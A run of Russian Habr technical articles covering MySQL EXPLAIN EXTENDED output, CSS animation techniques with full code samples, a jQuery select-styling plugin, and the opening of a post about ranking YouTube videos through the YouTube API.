Query OK, 0 rows affected (0.10 sec)
mysql> EXPLAIN extended SELECT * FROM v1 WHERE c1=1;
+----+-------------+-------+------+---------------+------+---------+------+------+-------------+
| id | select_type | TABLE | type | possible_keys | KEY | key_len | ref | rows | Extra
+----+-------------+-------+------+---------------+------+---------+------+------+-------------+
| 1 | SIMPLE | j1 | ALL | NULL | NULL | NULL | NULL | 2 | USING WHERE
+----+-------------+-------+------+---------------+------+---------+------+------+-------------+
1 row IN SET, 1 warning (0.00 sec)
mysql> SHOW warnings;
+-------+------+-------------------------------------------------------------------------------+
| Level | Code | Message
+-------+------+-------------------------------------------------------------------------------+
| Note | 1003 | SELECT `test`.`j1`.`c1` AS `c1` FROM `test`.`j1` WHERE (`test`.`j1`.`c1` = 1)
+-------+------+-------------------------------------------------------------------------------+
1 row IN SET (0.00 sec)`
Самая интересное и важное тут написано в WHERE. Как Вы видите, запрос, описанный при создании view, был переписан согласно параметрам, указанным мной в WHERE запроса, обращающегося к нему.
#### От переводчика
Интересные факты из комментариев к статье:
* EXPLAIN EXTENDED удобно использовать для определения, почему же не используется созданный Вами индекс. В особенности это становится очевидным, когда где-то в полях не совпадает кодировка. В этом случае вывод будет выглядеть примерно так:
`SELECT … where (`b`.`t1`.`a` = convert(`b`.`t2`.`b` using utf8))`
* Пользоваться командой командой EXPLAIN EXTENDED на продакшеновых серверах стоит с большой осторожностью, т.к. описаны баги, роняющие сервер ([proof link](http://www.google.ru/search?q=site%3Abugs.mysql.com+%22explain+extended%22+crash&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:ru:official&client=firefox)) | https://habr.com/ru/post/98904/ | null | ru | null |
# Трюки с CSS-анимациями: мгновенные изменения, отрицательные задержки, анимация transform-origin и другое
Применяя CSS-анимации в повседневной работе, я постепенно выработал привычку экспериментировать с ними в свободное время. Постоянно пытаясь реализовать очередную интересную задумку с использованием как можно меньшего числа элементов HTML, я обнаружил немало способов сделать с помощью CSS довольно неочевидные вещи. В этой статье я хочу поделиться некоторыми из них.
##### Быстрое изменение состояния посреди анимации
Обычно анимации используются для того, чтобы плавно менять свойства элементов со временем. Однако изменения могут также быть практически мгновенными. Для этого надо задать два ключевых кадра с очень маленьким интервалом, например в 0.001%:
```
@keyframes toggleOpacity {
50% { opacity: 1; } /* Turn off */
50.001% { opacity: 0.4; }
/* Keep off state for a short period */
52.999% { opacity: 0.4; } /* Turn back on */
53% { opacity: 1; }
}
```
Вот как я использовал этот приём для имитации мигающей неоновой вывески с помощью прозрачности и свойства `text-shadow`:

**Код примера:**HTML:
```
Error
404
```
CSS:
```
body { background-color: #111111; }
div {
padding: 40px;
font-size: 75px;
font-family: 'Monoton', cursive;
text-align: center;
text-transform: uppercase;
text-shadow: 0 0 80px red,0 0 30px FireBrick,0 0 6px DarkRed;
color: red;
}
div p { margin:0; }
#error:hover { text-shadow: 0 0 200px #ffffff,0 0 80px #008000,0 0 6px #0000ff; }
#code:hover { text-shadow: 0 0 100px red,0 0 40px FireBrick,0 0 8px DarkRed; }
#error {
color: #fff;
text-shadow: 0 0 80px #ffffff,0 0 30px #008000,0 0 6px #0000ff;
}
#error span {
animation: upper 11s linear infinite;
}
#code span:nth-of-type(2) {
animation: lower 10s linear infinite;
}
#code span:nth-of-type(1) {
text-shadow: none;
opacity:.4;
}
@keyframes upper {
0%,19.999%,22%,62.999%,64%, 64.999%,70%,100% {
opacity:.99; text-shadow: 0 0 80px #ffffff,0 0 30px #008000,0 0 6px #0000ff;
}
20%,21.999%,63%,63.999%,65%,69.999% {
opacity:0.4; text-shadow: none;
}
}
@keyframes lower {
0%,12%,18.999%,23%,31.999%,37%,44.999%,46%,49.999%,51%,58.999%,61%,68.999%,71%,85.999%,96%,100% {
opacity:0.99; text-shadow: 0 0 80px red,0 0 30px FireBrick,0 0 6px DarkRed;
}
19%,22.99%,32%,36.999%,45%,45.999%,50%,50.99%,59%,60.999%,69%,70.999%,86%,95.999% {
opacity:0.4; text-shadow: none;
}
}
```
[Демо на Codepen](http://codepen.io/chriscoyier/pen/FmnGj)
##### Отрицательные задержки анимации
Положительная задержка откладывает начало анимации на некоторое время. А отрицательная — начинает анимацию немедленно, но не с самого сначала, а со времени, указанного в задержке. Другими словами, начинает анимацию с какого-то момента внутри её цикла. Это позволяет применять анимацию к нескольким элементам со сдвигом фазы, изменяя лишь время задержки. Вот пример использования такой анимации:

**Код примера:**HTML:
```
```
CSS:
```
div {
border-radius:50%;
position:absolute;
top:50%; left:75%;
}
div:nth-of-type(odd) { background:black; }
div:nth-of-type(even) { background:white; border:2px solid black; }
div:nth-of-type(11) {
height:10px; width:10px;
margin-top:-5px; margin-left:-5px;
-webkit-animation:slide 3s ease-in-out infinite;
animation:slide 3s ease-in-out infinite;
}
div:nth-of-type(10) {
height:20px; width:20px;
margin-top:-12px; margin-left:-12px;
-webkit-animation:slide 3s -2.7s ease-in-out infinite;
animation:slide 3s -2.7s ease-in-out infinite;
}
div:nth-of-type(9) {
height:40px; width:40px;
margin-top:-20px; margin-left:-20px;
-webkit-animation:slide 3s -2.4s ease-in-out infinite;
animation:slide 3s -2.4s ease-in-out infinite;
}
div:nth-of-type(8) {
height:60px; width:60px;
margin-top:-32px; margin-left:-32px;
-webkit-animation:slide 3s -2.1s ease-in-out infinite;
animation:slide 3s -2.1s ease-in-out infinite;
}
div:nth-of-type(7) {
height:80px; width:80px;
margin-top:-40px; margin-left:-40px;
-webkit-animation:slide 3s -1.8s ease-in-out infinite;
animation:slide 3s -1.8s ease-in-out infinite;
}
div:nth-of-type(6) {
height:100px; width:100px;
margin-top:-52px; margin-left:-52px;
-webkit-animation:slide 3s -1.5s ease-in-out infinite;
animation:slide 3s -1.5s ease-in-out infinite;
}
div:nth-of-type(5) {
height:120px; width:120px;
margin-top:-60px; margin-left:-60px;
-webkit-animation:slide 3s -1.2s ease-in-out infinite;
animation:slide 3s -1.2s ease-in-out infinite;
}
div:nth-of-type(4) {
height:140px; width:140px;
margin-top:-72px; margin-left:-72px;
-webkit-animation:slide 3s -0.9s ease-in-out infinite;
animation:slide 3s -0.9s ease-in-out infinite;
}
div:nth-of-type(3) {
height:160px; width:160px;
margin-top:-80px; margin-left:-80px;
-webkit-animation:slide 3s -0.6s ease-in-out infinite;
animation:slide 3s -0.6s ease-in-out infinite;
}
div:nth-of-type(2) {
height:180px; width:180px;
margin-top:-92px; margin-left:-92px;
-webkit-animation:slide 3s -0.3s ease-in-out infinite;
animation:slide 3s -0.3s ease-in-out infinite;
}
div:nth-of-type(1) {
height:200px; width:200px;
margin-top:-100px; margin-left:-100px;
-webkit-animation:slide 3s ease-in-out infinite;
animation:slide 3s ease-in-out infinite;
}
@keyframes slide {
0% { left:75% }
50% { left:25%; }
100% { left:75%; }
}
@-webkit-keyframes slide {
0% { left:75% }
50% { left:25%; }
100% { left:75%; }
}
```
[Демо на Codepen](http://codepen.io/Zeaklous/pen/dirzc)
##### Пропорциональные анимации
Я стараюсь делать веб-приложения настолько адаптивными, насколько возможно. Это касается и CSS-анимаций. Хотя сделать абсолютно все анимации адаптивными невозможно, иногда всё же удаётся использовать вместо абсолютных единиц измерения проценты и другие относительные единицы.
Во многих своих анимациях я использую элементы, размеры которых должны быть пропорциональны размерам страницы. Возможно вы думаете, что для этого я использую фиксированную ширину и высоту, но это не так. Можно указать ширину в процентах, нулевую высоту и процентное значение для `padding`. С помощью `padding-bottom` высота элементов остаётся пропорциональной ширине:
```
.container {
position: relative;
display: block;
width: 100%;
height: 0;
padding-bottom: 100%;
}
```
Если вы откроете следующий пример на Codepen и попробуете изменить размеры окна, вы увидите как это работает. В этом примере также использованы отрицательные задержки анимации.

**Код примера:**HTML:
```
```
CSS:
```
body {
background: rgb(20, 20, 20);
overflow: hidden;
}
span {
position: relative;
display: block;
width: 100%;
height: 0;
padding-top: 100%;
overflow: hidden;
}
div {
margin-top: -17%;
height: 34%;
width: 2%;
top: 30%;
border-radius: 20px;
position: absolute;
}
div:nth-of-type(1) { animation: wave 17s 0.000s linear infinite; }
div:nth-of-type(2) { animation: wave 17s -16.227s linear infinite; }
div:nth-of-type(3) { animation: wave 17s -15.455s linear infinite; }
div:nth-of-type(4) { animation: wave 17s -14.682s linear infinite; }
div:nth-of-type(5) { animation: wave 17s -13.909s linear infinite; }
div:nth-of-type(6) { animation: wave 17s -13.136s linear infinite; }
div:nth-of-type(7) { animation: wave 17s -12.364s linear infinite; }
div:nth-of-type(8) { animation: wave 17s -11.591s linear infinite; }
div:nth-of-type(9) { animation: wave 17s -10.818s linear infinite; }
div:nth-of-type(10) { animation: wave 17s -10.045s linear infinite; }
div:nth-of-type(11) { animation: wave 17s -9.273s linear infinite; }
div:nth-of-type(12) { animation: wave 17s -8.500s linear infinite; }
div:nth-of-type(13) { animation: wave 17s -7.727s linear infinite; }
div:nth-of-type(14) { animation: wave 17s -6.955s linear infinite; }
div:nth-of-type(15) { animation: wave 17s -6.182s linear infinite; }
div:nth-of-type(16) { animation: wave 17s -5.409s linear infinite; }
div:nth-of-type(17) { animation: wave 17s -4.636s linear infinite; }
div:nth-of-type(18) { animation: wave 17s -3.864s linear infinite; }
div:nth-of-type(19) { animation: wave 17s -3.091s linear infinite; }
div:nth-of-type(20) { animation: wave 17s -2.318s linear infinite; }
div:nth-of-type(21) { animation: wave 17s -1.545s linear infinite; }
div:nth-of-type(22) { animation: wave 17s -0.773s linear infinite; }
@keyframes wave {
0% { left:-2%; background: #3B44D1; }
5% { background: #9337FE; }
10% { height:10%; margin-top: -5%; background: #C532FC; }
15% { background: #F639F8; }
20% { height:34%; margin-top:-17%; background: #F236C8; }
25% { background: #FF2F8D; }
30% { height:10%; margin-top: -5%; background: #EE3860; }
35% { background: #DC5245; }
40% { height:34%; margin-top:-17%; background: #F38643; }
45% { background: #F8B435; }
50% { height:10%; margin-top: -5%; background: #FAF444; }
55% { background: #E0FF3B; }
60% { height:34%; margin-top:-17%; background: #E1FF3C; }
65% { background: #46F443; }
70% { height:10%; margin-top: -5%; background: #54E67B; }
75% { background: #4DF3A9; }
80% { height:34%; margin-top:-17%; background: #3AF9DA; }
85% { background: #36EBF4; }
90% { height:10%; margin-top: -5%; background: #3DB3F3; }
95% { background: #3C82F1; }
100% { height:34%; margin-top:-17%; left:100%; background: #5B38EE; }
}
```
[Демо на Codepen](http://codepen.io/chriscoyier/pen/CFmps)
##### Изменение transform-origin посреди анимации
Работая над одной из анимаций, я с удивлением обнаружил, что свойство `transform-origin` не только может меняться посреди анимации, но и само по себе может быть анимировано. В следующем примере это используется для того, чтобы в одной анимации делать четыре разных поворота вместо того, чтобы создавать четыре отдельные анимации:

**Код примера:**HTML:
```
```
CSS:
```
div {
width:200px; height:200px;
background:rgba(0,0,255,.5);
animation:flipAround 8s infinite;
}
@keyframes flipAround {
25% { animation-mode:forwards; transform-origin:right; transform:rotateY(-180deg); }
25.001% { transform:translateX(200px); }
50% { transform-origin:bottom; transform:translateX(200px) rotateX(-180deg); }
50.001% { transform:translateX(200px) translateY(200px); }
75% { transform-origin:left; transform:translateX(200px) translateY(200px) rotateY(180deg); }
75.001% { transform:translateY(200px); }
100% { transform-origin:top; transform:translateY(200px) rotateX(180deg); }
}
body { background:rgb(20,20,20); }
```
[Демо на Codepen](http://codepen.io/Zeaklous/pen/jiDHL)
У этого трюка есть недостаток: вы не можете использовать `animation-mode: forwards`; только для части анимации. Это значит, что нам придется передвигать элемент при каждом изменении `transform-origin`. В этом примере `translate` используется для имитации эффектов поворота. В более сложных примерах это может оказаться [довольно утомительным](http://codepen.io/Zeaklous/pen/fsGvH).
##### Отрицательный transform-origin
Можно задать отрицательное значение transform-origin, что может быть полезно для создания вращающихся элементов. Вместо того, чтобы отдельно задавать смещение и угол поворота для элемента, [как описывает Ли Веру](http://lea.verou.me/2012/02/moving-an-element-along-a-circle/), этого можно добиться проще, используя отрицательные значения `transform-origin` и дополнительный элемент или псевдоэлемент (или только один элемент, если он не обязан сохранять постоянный угол относительно горизонта). С разными значениями `transform-origin` можно использовать одну и ту же анимацию для разных элементов:

**Код примера:**HTML:
```
```
CSS:
```
div { width:100px; height:100px; margin-top:180px; transform-origin:200% center; position:relative; animation:rotate 3s linear infinite; }
div:before { content:''; position:absolute; height:100%; width:100%; background:blue; animation:rotate 3s linear reverse infinite; }
@keyframes rotate { 100% { transform:rotate(-360deg); } }
body { background:rgb(20,20,20); } /* The best color ever */
```
[Демо на Codepen](http://codepen.io/Zeaklous/pen/rsvgK)
##### Магия box-shadow
Для анимации простых форм без контента внутри может пригодиться свойство `box-shadow.` С его помощью можно создавать [несколько границ вокруг одного элемента](http://css-tricks.com/snippets/css/multiple-borders/). На основе этой идеи, используя разные смещения для теней, можно создавать целые наборы анимированных фигур на основе одного элемента HTML. Вот пример анимации, которая выглядит, как шесть вращающихся кружков, которые целиком сделаны с помощью `box-shadow`:

**Код примера:**HTML:
```
```
CSS:
```
div {
border-radius:50%;
height:2px; width:2px; /* To allow border-radius to work */
position:absolute;
top:50%; left:50%;
margin-top:-1px; margin-left:-1px;
box-shadow:
-75px -125px 0 40px #6cce74,
75px -125px 0 40px #c18d46,
150px 0px 0 40px #c14745,
75px 125px 0 40px #2e1e5b,
-75px 125px 0 40px #9c37a6,
-150px 0px 0 40px #76bdd1;
-webkit-animation:rotate 12s infinite linear;
animation:rotate 12s infinite linear;
}
@keyframes rotate {
16.67% {
box-shadow:
-75px -125px 0 40px #76bdd1,
75px -125px 0 40px #6cce74,
150px 0px 0 40px #c18d46,
75px 125px 0 40px #c14745,
-75px 125px 0 40px #2e1e5b,
-150px 0px 0 40px #9c37a6;
}
33.33% {
box-shadow:
-75px -125px 0 40px #9c37a6,
75px -125px 0 40px #76bdd1,
150px 0px 0 40px #6cce74,
75px 125px 0 40px #c18d46,
-75px 125px 0 40px #c14745,
-150px 0px 0 40px #2e1e5b;
}
50% {
box-shadow:
-75px -125px 0 40px #2e1e5b,
75px -125px 0 40px #9c37a6,
150px 0px 0 40px #76bdd1,
75px 125px 0 40px #6cce74,
-75px 125px 0 40px #c18d46,
-150px 0px 0 40px #c14745;
}
66.67% {
box-shadow:
-75px -125px 0 40px #c14745,
75px -125px 0 40px #2e1e5b,
150px 0px 0 40px #9c37a6,
75px 125px 0 40px #76bdd1,
-75px 125px 0 40px #6cce74,
-150px 0px 0 40px #c18d46;
}
88.88% {
box-shadow:
-75px -125px 0 40px #c18d46,
75px -125px 0 40px #c14745,
150px 0px 0 40px #2e1e5b,
75px 125px 0 40px #9c37a6,
-75px 125px 0 40px #76bdd1,
-150px 0px 0 40px #6cce74;
}
100% {
transform:rotate(-360deg);
box-shadow:
-75px -125px 0 40px #6cce74,
75px -125px 0 40px #c18d46,
150px 0px 0 40px #c14745,
75px 125px 0 40px #2e1e5b,
-75px 125px 0 40px #9c37a6,
-150px 0px 0 40px #76bdd1;
}
}
@-webkit-keyframes rotate {
16.67% {
box-shadow:
-75px -125px 0 40px #76bdd1,
75px -125px 0 40px #6cce74,
150px 0px 0 40px #c18d46,
75px 125px 0 40px #c14745,
-75px 125px 0 40px #2e1e5b,
-150px 0px 0 40px #9c37a6;
}
33.33% {
box-shadow:
-75px -125px 0 40px #9c37a6,
75px -125px 0 40px #76bdd1,
150px 0px 0 40px #6cce74,
75px 125px 0 40px #c18d46,
-75px 125px 0 40px #c14745,
-150px 0px 0 40px #2e1e5b;
}
50% {
box-shadow:
-75px -125px 0 40px #2e1e5b,
75px -125px 0 40px #9c37a6,
150px 0px 0 40px #76bdd1,
75px 125px 0 40px #6cce74,
-75px 125px 0 40px #c18d46,
-150px 0px 0 40px #c14745;
}
66.67% {
box-shadow:
-75px -125px 0 40px #c14745,
75px -125px 0 40px #2e1e5b,
150px 0px 0 40px #9c37a6,
75px 125px 0 40px #76bdd1,
-75px 125px 0 40px #6cce74,
-150px 0px 0 40px #c18d46;
}
88.88% {
box-shadow:
-75px -125px 0 40px #c18d46,
75px -125px 0 40px #c14745,
150px 0px 0 40px #2e1e5b,
75px 125px 0 40px #9c37a6,
-75px 125px 0 40px #76bdd1,
-150px 0px 0 40px #6cce74;
}
100% {
-webkit-transform:rotate(-360deg);
box-shadow:
-75px -125px 0 40px #6cce74,
75px -125px 0 40px #c18d46,
150px 0px 0 40px #c14745,
75px 125px 0 40px #2e1e5b,
-75px 125px 0 40px #9c37a6,
-150px 0px 0 40px #76bdd1;
}
}
```
[Демо на Codepen](http://codepen.io/Zeaklous/pen/lmbJy)
К сожалению, `box-shadow` не поддерживает относительные размеры в процентах, так что их труднее сделать адаптивными, чем обычные элементы. Тем не менее, их размеры можно менять вручную или применяя `transform:scale(n)` для родительского элемента.
##### Использование псевдоэлементов
Так же как и `box-shadow`, псевдоэлементы можно использовать для обогащения внешнего вида элементов HTML. Для них можно использовать отдельные от родительского элемента анимации, они могут иметь отдельные тени — практически как настоящие элементы. Это позволяет делать удивительные вещи:

**Код примера:**HTML:
```
```
CSS:
```
body { background:black; overflow:hidden; }
#gif {
background:black;
padding:10px;
height:80px;
width:80px;
border-radius:50%;
position:absolute;
top:calc(50% - 40px);
left:calc(50% - 40px);
box-shadow:
178px 0 0 -25px black,
178px 0 0 -20px white,
-178px 0 0 -25px black,
-178px 0 0 -20px white,
0 0 0 20px black,
0 0 0 30px white,
0 0 0 130px black,
0 0 0 135px white;
-webkit-animation: rotate 3s linear infinite;
animation: rotate 3s linear infinite;
}
#gif:before {
content: " ";
position: absolute;
height:50px;
width:50px;
border-radius:50%;
top: -155px;
left: 20px;
background:black;
border: 5px solid white;
box-shadow:
0 355px 0 -5px black,
0 355px 0 0px white;
-webkit-animation: reverseRotate 3s linear infinite;
animation: reverseRotate 3s linear infinite;
}
#gif:after {
/* Segmented circle code goes here */
content: " ";
position: absolute;
height:280px;
width:280px;
left:-90px;
top:-90px;
background-image: url("data:image/svg+xml;base64, PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSAiaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayIgdmlld0JveD0iMCAwIDEwMCAxMDAiID4NCiAgICA8Y2lyY2xlIGN4PSI1MCIgY3k9IjUwIiByPSI0MCIgc3Ryb2tlLWRhc2hhcnJheT0iMC45NTIiIHN0cm9rZS13aWR0aD0iOCIgZmlsbD0ibm9uZSIgc3Ryb2tlPSJ3aGl0ZSIvPg0KPC9zdmc+");
background-repeat: no-repeat;
z-index:2;
-webkit-animation: segmentRotate 300s linear infinite;
animation: segmentRotate 300s linear infinite;
}
@keyframes rotate {
0% { transform: rotate( 0deg); }
10%, 15%, 35%, 40%, 60%, 65%, 85%, 90% {
background: black;
box-shadow:
178px 0 0 -25px black,
178px 0 0 -20px white,
-178px 0 0 -25px black,
-178px 0 0 -20px white,
0 0 0 20px black,
0 0 0 30px white,
0 0 0 130px black,
0 0 0 135px white;
}
12.5%, 37.5%, 62.5%, 87.5% {
background: white;
box-shadow:
178px 0 0 -25px white,
178px 0 0 -20px white,
-178px 0 0 -25px white,
-178px 0 0 -20px white,
0 0 0 20px black,
0 0 0 30px white,
0 0 0 130px black,
0 0 0 135px white;
}
100% { transform: rotate(360deg); }
}
@keyframes reverseRotate {
0% { transform: translateY(178px) rotate(0deg) translateY(-178px) rotate(0deg); }
10%, 15%, 35%, 40%, 60%, 65%, 85%, 90% {
background: black; box-shadow: 0 355px 0 -5px black, 0 355px 0 0px white;
}
12.5%, 37.5%, 62.5%, 87.5% {
background: white; box-shadow: 0 355px 0 -5px white, 0 355px 0 0px white;
}
100% { transform: translateY(178px) rotate(-720deg) translateY(-178px) rotate(0deg); }
}
@keyframes segmentRotate {
0% { transform: rotate(0deg); }
100% { transform: rotate(-32000deg); }
}
@-webkit-keyframes rotate {
0% { -webkit-transform: rotate( 0deg); }
10%, 15%, 35%, 40%, 60%, 65%, 85%, 90% {
background: black;
box-shadow:
178px 0 0 -25px black,
178px 0 0 -20px white,
-178px 0 0 -25px black,
-178px 0 0 -20px white,
0 0 0 20px black,
0 0 0 30px white,
0 0 0 130px black,
0 0 0 135px white;
}
12.5%, 37.5%, 62.5%, 87.5% {
background: white;
box-shadow:
178px 0 0 -25px white,
178px 0 0 -20px white,
-178px 0 0 -25px white,
-178px 0 0 -20px white,
0 0 0 20px black,
0 0 0 30px white,
0 0 0 130px black,
0 0 0 135px white;
}
100% { -webkit-transform: rotate(360deg); }
}
@-webkit-keyframes reverseRotate {
0% { -webkit-transform: translateY(178px) rotate(0deg) translateY(-178px) rotate(0deg); }
10%, 15%, 35%, 40%, 60%, 65%, 85%, 90% {
background: black; box-shadow: 0 355px 0 -5px black, 0 355px 0 0px white;
}
12.5%, 37.5%, 62.5%, 87.5% {
background: white; box-shadow: 0 355px 0 -5px white, 0 355px 0 0px white;
}
100% { -webkit-transform: translateY(178px) rotate(-720deg) translateY(-178px) rotate(0deg); }
}
@-webkit-keyframes segmentRotate {
0% { -webkit-transform: rotate(0deg); }
100% { -webkit-transform: rotate(-32000deg); }
}
```
[Демо на Codepen](http://codepen.io/Zeaklous/pen/akxqt)
В этом примере все концентрические окружности вокруг центрального мигающего круга, так же как и два маленьких кружка на внешнем кольце сделаны с помощью `box-shadow`. Другие два кружка — это тени псевдоэлемента, а кольцо из штрихов — это фон ещё одного псевдоэлемента, заданный в виде inline SVG.
#### Несколько советов напоследок
##### Используйте трансформации везде, где только можно
Как [показал Пол Айриш](http://www.paulirish.com/2012/why-moving-elements-with-translate-is-better-than-posabs-topleft/) и [другие](http://css-tricks.com/tale-of-animation-performance/), трансформации работают быстрее, чем изменение размеров и положения элементов с помощью свойст `top`, `left`, `width` и `height`.
С помощью трансформаций легче реализовать адаптивный дизайн, применяя относительные значения для `scale` ([пример](http://codepen.io/amos/pen/Bypur)).
Отказ от использования трансформаций приводит к появлению ошибок, которые трудно отловить. Например, [вот эта](http://jsfiddle.net/cL5bW/) анимация отображается в браузере Chrome с некорректными цветами, хотя значения в коде правильные. После [перехода](http://jsfiddle.net/qA4V9/) на CSS-трансформации проблема решилась сама собой.
##### z-index может вызывать проблемы
Пожалуй, на решение проблем с `z-index` я потратил больше времени, чем на любые другие. Реализация `z-index` разнится от браузера к браузеру. Главное различие — Mozilla не анимирует `z-index`, и его значение изменяется скачкообразно, тогда браузеры на основе Webkit умеют изменять его плавно.
Также стоит отметить, что если вам нужно, чтобы псевдоэлементы оказались за родительским элементом, псевдоэлемент должен иметь отрицательный `z-index`, а родительский элемент при этом обязан располагаться в контексте наложения на месте по умолчанию, то есть к нему нельзя применять `z-index` или любые другие приёмы, которые вырывают его из стандартного положения в контексте.
И последнее. Любой элемент, для которого задана прозрачность, отличная от «1», получает собственный контекст наложения. Подробнее об этом — в [статье Филипа Уолтона](http://habrahabr.ru/post/166435/).
##### Ищите источники вдохновения
Что-то в реальном мире, интересная веб-страница, необычный видеоэффект, анимированный gif или что угодно ещё — постоянно ищите вещи, которые стоит попробовать реализовать.
Я обнаружил, что если не подглядывать сразу, как именно сделан тот или иной эффект, можно найти уникальный способ и даже превзойти оригинал. Даже если я терплю неудачу, я всегда по крайней мере узнаю что-то новое о языке программирования, который я использую. Часто получается так, что даже не реализованная полностью задумка оказывается довольно эффектной. Иногда наоборот — результат оказывается намного лучше, чем я мог мечтать.
Надеюсь, что эта статья поможет и вам создать что-то новое и прекрасное, даже многие конкретные техники, описанные в ней, вам уже знакомы. | https://habr.com/ru/post/209462/ | null | ru | null |
# Замена стандартных селектов в браузере
##### Selectimus
На текущем проекте некоторое время назад стала задача по унификации селектов во всех браузерах. Нужно было изменить их так, чтобы при одинаковом отображении они внешне оставались близкими к стандартным но при этом имели возможность гибкой настройки средствами CSS. Поискав готовые библиотеки, на тот момент ничего подходящего не нашел и решил сделать свой. Взял за отправную точку дизайн близкий к стандартному, плюс замена скроллбара, со стандартного системного на свой, также одинаковый во всех браузерах. Реализован скрипт в виде jQuery плагина. Требуемая версия jQuery – 1.5+.
Механизм работы такой:
* Стандартный селект полностью скрывается
* На его месте создается маркированный список, который заполняется элементами списка c атрибутом value, в котором хранится номер элемента option из селекта. Тем самым при клике на li, в соответствии с параметром в value, в скрытом селекте выбирается option.
* В том случае, если содержимое псевдоселекта больше, чем заданная видима область, то к списку добавляется скроллбар (так же jQuery плагин ScrollBar.js).
* Внешний вид скроллбара можно поменять в файле стилей selectimus.css, там же можно поменять изображение кнопок, для прокрутки вверх и вниз. (Опции для оформления скроллбара в разработке).
Возможности плагина:
* Максимальная приближенность к стандартному, но одинаковому во всех браузерах, селекту, по умолчанию.
* Стилизация селектов с помощью css. Параметр style (Object) передается при инициализации.
* Дополнительная настройка с помощью добавления ширины, высоты и установка количества строк развернутого списка селекта.
* Навигация с помощью клавиатуры.
Инициализация плагина:
```
$([elemenet]).selectimus([style] [, options])
```
При инициализации плагина, если не переданы дополнительные параметры стилей, применяются стили по-умолчанию:
* color: '#000',
* background: '#FFF',
* color\_up: '#FFF',
* background\_up: '#7EA0FA',
* display: 'inline-block',
* 'border-width': '1px',
* 'border-style': 'solid',
* 'border-color': '#b6b6b6',
* 'border-radius': '5px',
* margin: '3px 0',
* position: 'relative',
* overflow: 'visible'
[Исходники находятся здесь.](https://github.com/git-decadent/selectimus)
[Демо-страница с описанием здесь.](http://188.127.227.198:3000/)
##### Плагин scrollbarJS
Заменяет стандартную полосу прокрутки в элементах на странице, к которым применяется свойство overflow: hidden, на универсальную во всех браузерах. Сейчас работает только с вертикальным контентом. В разработке также возможность добавления опций по настройке внешнего вида полосы прокрутки.
[Исходники находятся здесь.](https://github.com/git-decadent/scrollbarJS)
Возможно кому-нибудь пригодится такая реализация.
UPD: Спасибо всем за комментарии. Буду доделывать недоработки) | https://habr.com/ru/post/168973/ | null | ru | null |
# Как я создал собственный алгоритм YouTube (чтобы не тратить время впустую)

Побег от алгоритма YouTube
--------------------------
Я люблю смотреть видео на YouTube, осязаемым образом улучшающие мою жизнь. К сожалению, алгоритм YouTube с этим не согласен. Он любит кормить меня кликбэйтом и прочим мусором.
Всё это неудивительно: алгоритм отдаёт приоритет кликам и времени просмотра.
Поэтому я поставил перед собой задачу: **Смогу ли я написать код, который автоматически будет находить ценные видео, избавив меня от привязанности к алгоритму YouTube?**
Вот так всё и началось.
Оптимально выстроенные планы
----------------------------
Я начал с визуализации того, что должен делать мой инструмент. Мне нужна была программа, которая будет **(i) ранжировать видео** на основании вероятной релевантности для меня и **(ii) автоматически отправлять мне предлагаемые видео**, из которых я смогу выбирать.
Я решил, что смогу серьёзно повысить продуктивность, если буду пакетно выбирать наборы видео для просмотра на каждую неделю и избавлюсь от необходимости бесконечного скроллинга YouTube.

Я знал, что нужно заставить YouTube API получать информацию о видео ([*что такое API?*](https://medium.com/@perrysetgo/what-exactly-is-an-api-69f36968a41f#:~:text=Application%20Programming%20Interface%20(API),to%20communicate%20with%20one%20another.&text=JSON%20or%20XML%E2%80%9D.-,The%20API%20is%20not%20the%20database%20or%20even%20the%20server,that%20can%20access%20a%20database.)). Затем я создам формулу, которая будет обрабатывать эту информацию для ранжирования видео. На последнем этапе я запланировал создавать при помощи AWS Lambda автоматическое письмо на мой адрес, содержащее видео с наивысшим рейтингом.
Однако в конечном итоге всё получилось не совсем так.
***(Если не хотите читать статью и перейти прямиком к готовому коду, то вам*** [***сюда***](https://github.com/chris-lovejoy/YouTube-video-finder)***.)***
Исследуем YouTube API
---------------------
Я хотел найти метрики, которые можно использовать для ранжирования видео по их вероятной интересности для меня.
Я изучил документацию YouTube, выложенную [**здесь**](https://developers.google.com/youtube/v3/), и понял, что можно получать информацию на уровне **видео** (название, время публикации, количество просмотров, картинка-превью и т.д.) и на уровне **канала** (количество подписчиков, комментарии, просмотры, плейлисты канала и т.д.).
Когда я увидел это, у меня появилась уверенность в том, что можно использовать эту информацию для задания метрики и ранжирования видео.
Я получил ключ API через консоль разработчика [**здесь**](https://console.developers.google.com/apis/credentials) и скопировал его в мой скрипт на Python.
Это позволяет инициализировать API такими строками кода:
```
# Call the YouTube API
api_key = ‘AIzpSyAq3L9DiPK0KxrGBbdY7wNN7kfPbm_hsPg’ # Enter your own API key – this one won’t work
youtube_api = build(‘youtube’, ‘v3’, developerKey = api_key)
results = youtube_api.search().list(q=search_terms, part=’snippet’, type=’video’,
order=’viewCount’, maxResults=50).execute()
```
Код возвращает объект JSON, который можно парсить для поиска соответствующей информации. Например, для нахождения даты публикации можно индексировать `results` следующим образом:
```
publishedAt = results[‘items’][0][‘snippet’][‘publishedAt’]
```
Есть полезная [серия видео](https://www.youtube.com/watch?v=-QMg39gK624&list=PLyb_C2HpOQSBJRh38CTPvsouV4SBpyt_H&ab_channel=IndianPythonista), в которой подробно описывается процесс использования YouTube API.
Поиск ценных видео: задаём свою формулу
---------------------------------------
Теперь, когда я мог запрашивать соответствующую информацию, мне нужно было использовать полученные значения для ранжирования видео по их интересности для меня.
Это было непросто. **В чём заключается интересность видео?** В количестве просмотров? В количестве комментариев? В количестве подписчиков канала?
Я решил начать с общего количества просмотров как приближенной ценности видео на первой ступени. Теоретически, интересные или хорошо раскрывающие тему видео получают положительный отзыв аудитории, активнее продвигаются, а значит, имеют большее количество просмотров.
Однако есть аспекты, которые общее количество просмотров не учитывает:
Во-первых, **если канал накопил большую аудиторию, то ему гораздо проще получить высокий уровень просмотров** по сравнению с менее популярными каналами. Частично это может отражать больший опыт авторов, что ведёт к созданию более качественных видео, но я не хотел принижать в рейтинге потенциально высококачественные видео с мелких каналов. Видео с 100 000 просмотров на канале с 10 000 подписчиков вероятно лучше, чем видео с 100 000 просмотров на канале с 1 миллионом подписчиков.
Во-вторых, **видео могут получать большое количество просмотров не по тем причинам**, например, из-за кликбэйтных названий или превью, или из-за того, что вызывали споры. Лично мне меньше интересны подобные видео.
